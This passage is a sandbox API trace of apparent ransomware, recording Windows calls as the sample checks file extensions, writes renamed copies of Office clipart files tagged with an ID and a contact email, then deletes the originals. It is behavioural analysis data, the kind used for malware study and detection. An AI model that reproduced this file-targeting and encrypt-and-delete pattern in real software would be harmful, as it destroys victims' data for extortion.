lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.985] lstrlenW (lpString=".pdf") returned 4 [0302.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.985] lstrlenW (lpString=".xls") returned 4 [0302.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.985] lstrlenW (lpString=".xlsx") returned 5 [0302.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.985] lstrlenW (lpString=".ppt") returned 4 [0302.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.985] lstrlenW (lpString=".zip") returned 4 [0302.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.986] lstrlenW (lpString=".rar") returned 4 [0302.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.986] lstrlenW (lpString=".bz2") returned 4 [0302.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.986] lstrlenW (lpString=".7z") returned 3 [0302.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.986] lstrlenW (lpString=".dbf") returned 4 [0302.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.986] lstrlenW (lpString=".1cd") returned 4 [0302.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.986] lstrlenW (lpString=".jpg") returned 4 [0302.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.986] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.986] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.987] GetLastError () returned 0x0 [0302.987] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1388, lpOverlapped=0x0) returned 1 [0302.988] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1390, lpOverlapped=0x0) returned 1 [0302.989] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.989] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.989] SetEndOfFile (hFile=0x370) returned 1 [0302.989] CloseHandle (hObject=0x370) returned 1 [0302.989] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.989] SetEndOfFile (hFile=0x380) returned 1 [0302.991] CloseHandle (hObject=0x380) returned 1 [0302.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0302.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.991] lstrlenW (lpString=".doc") returned 4 [0302.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.991] lstrlenW (lpString=".docx") returned 5 [0302.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.991] lstrlenW (lpString=".pdf") returned 4 [0302.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.991] lstrlenW (lpString=".xls") returned 4 [0302.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.992] lstrlenW (lpString=".xlsx") returned 5 [0302.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.992] lstrlenW (lpString=".ppt") returned 4 [0302.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.992] lstrlenW (lpString=".zip") returned 4 [0302.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.992] lstrlenW (lpString=".rar") returned 4 [0302.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.992] lstrlenW (lpString=".bz2") returned 4 [0302.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.992] lstrlenW (lpString=".7z") returned 3 [0302.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.992] lstrlenW (lpString=".dbf") returned 4 [0302.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.992] lstrlenW (lpString=".1cd") returned 4 [0302.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0302.992] lstrlenW (lpString=".jpg") returned 4 [0302.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.992] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.993] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.993] GetLastError () returned 0x0 [0302.993] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1cac, lpOverlapped=0x0) returned 1 [0302.994] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0302.996] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.996] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.996] SetEndOfFile (hFile=0x370) returned 1 [0302.996] CloseHandle (hObject=0x370) returned 1 [0302.996] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.996] SetEndOfFile (hFile=0x380) returned 1 [0302.997] CloseHandle (hObject=0x380) returned 1 [0302.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0302.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.998] lstrlenW (lpString=".doc") returned 4 [0302.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.998] lstrlenW (lpString=".docx") returned 5 [0302.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.998] lstrlenW (lpString=".pdf") returned 4 [0302.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.998] lstrlenW (lpString=".xls") returned 4 [0302.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.998] lstrlenW (lpString=".xlsx") returned 5 [0302.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.998] lstrlenW (lpString=".ppt") returned 4 [0302.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.998] lstrlenW (lpString=".zip") returned 4 [0302.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.998] lstrlenW (lpString=".rar") returned 4 [0302.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.998] lstrlenW (lpString=".bz2") returned 4 [0302.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.998] lstrlenW (lpString=".7z") returned 3 [0302.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.999] lstrlenW (lpString=".dbf") returned 4 [0302.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.999] lstrlenW (lpString=".1cd") returned 4 [0302.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.999] lstrlenW (lpString=".jpg") returned 4 [0302.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.999] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.999] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.000] GetLastError () returned 0x0 [0303.000] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0303.413] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0303.414] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.414] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.414] SetEndOfFile (hFile=0x370) returned 1 [0303.415] CloseHandle (hObject=0x370) returned 1 [0303.415] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.415] SetEndOfFile (hFile=0x380) returned 1 [0303.416] CloseHandle (hObject=0x380) returned 1 [0303.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0303.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0303.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0303.417] lstrlenW (lpString=".doc") returned 4 [0303.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.417] lstrlenW (lpString=".docx") returned 5 [0303.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.417] lstrlenW (lpString=".pdf") returned 4 [0303.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.417] lstrlenW (lpString=".xls") returned 4 [0303.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.417] lstrlenW (lpString=".xlsx") returned 5 [0303.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.417] lstrlenW (lpString=".ppt") returned 4 [0303.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0303.417] lstrlenW (lpString=".zip") returned 4 [0303.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.417] lstrlenW (lpString=".rar") returned 4 [0303.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.417] lstrlenW (lpString=".bz2") returned 4 [0303.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.417] lstrlenW (lpString=".7z") returned 3 [0303.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0303.417] lstrlenW (lpString=".dbf") returned 4 [0303.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0303.417] lstrlenW (lpString=".1cd") returned 4 [0303.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0303.418] lstrlenW (lpString=".jpg") returned 4 [0303.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.418] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.418] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.419] GetLastError () returned 0x0 [0303.419] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x486, lpOverlapped=0x0) returned 1 [0303.419] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x490, lpOverlapped=0x0) returned 1 [0303.420] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.421] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.421] SetEndOfFile (hFile=0x370) returned 1 [0303.421] CloseHandle (hObject=0x370) returned 1 [0303.421] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.421] SetEndOfFile (hFile=0x380) returned 1 [0303.422] CloseHandle (hObject=0x380) returned 1 [0303.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0303.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.423] lstrlenW (lpString=".doc") returned 4 [0303.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.423] lstrlenW (lpString=".docx") returned 5 [0303.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.423] lstrlenW (lpString=".pdf") returned 4 [0303.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.423] lstrlenW (lpString=".xls") returned 4 [0303.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.423] lstrlenW (lpString=".xlsx") returned 5 [0303.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.423] lstrlenW (lpString=".ppt") returned 4 [0303.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.423] lstrlenW (lpString=".zip") returned 4 [0303.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.423] lstrlenW (lpString=".rar") returned 4 [0303.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.423] lstrlenW (lpString=".bz2") returned 4 [0303.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.424] lstrlenW (lpString=".7z") returned 3 [0303.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.424] lstrlenW (lpString=".dbf") returned 4 [0303.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.424] lstrlenW (lpString=".1cd") returned 4 [0303.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0303.424] lstrlenW (lpString=".jpg") returned 4 [0303.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.424] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.424] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.425] GetLastError () returned 0x0 [0303.425] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x318, lpOverlapped=0x0) returned 1 [0303.426] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x320, lpOverlapped=0x0) returned 1 [0303.427] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.427] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.427] SetEndOfFile (hFile=0x370) returned 1 [0303.427] CloseHandle (hObject=0x370) returned 1 [0303.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.427] SetEndOfFile (hFile=0x380) returned 1 [0303.428] CloseHandle (hObject=0x380) returned 1 [0303.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0303.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.429] lstrlenW (lpString=".doc") returned 4 [0303.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.429] lstrlenW (lpString=".docx") returned 5 [0303.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.429] lstrlenW (lpString=".pdf") returned 4 [0303.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.429] lstrlenW (lpString=".xls") returned 4 [0303.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.429] lstrlenW (lpString=".xlsx") returned 5 [0303.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.429] lstrlenW (lpString=".ppt") returned 4 [0303.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.429] lstrlenW (lpString=".zip") returned 4 [0303.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.429] lstrlenW (lpString=".rar") returned 4 [0303.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.429] lstrlenW (lpString=".bz2") returned 4 [0303.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.429] lstrlenW (lpString=".7z") returned 3 [0303.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.430] lstrlenW (lpString=".dbf") returned 4 [0303.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.430] lstrlenW (lpString=".1cd") returned 4 [0303.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.430] lstrlenW (lpString=".jpg") returned 4 [0303.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.430] SetFilePointerEx (in: hFile=0x380, 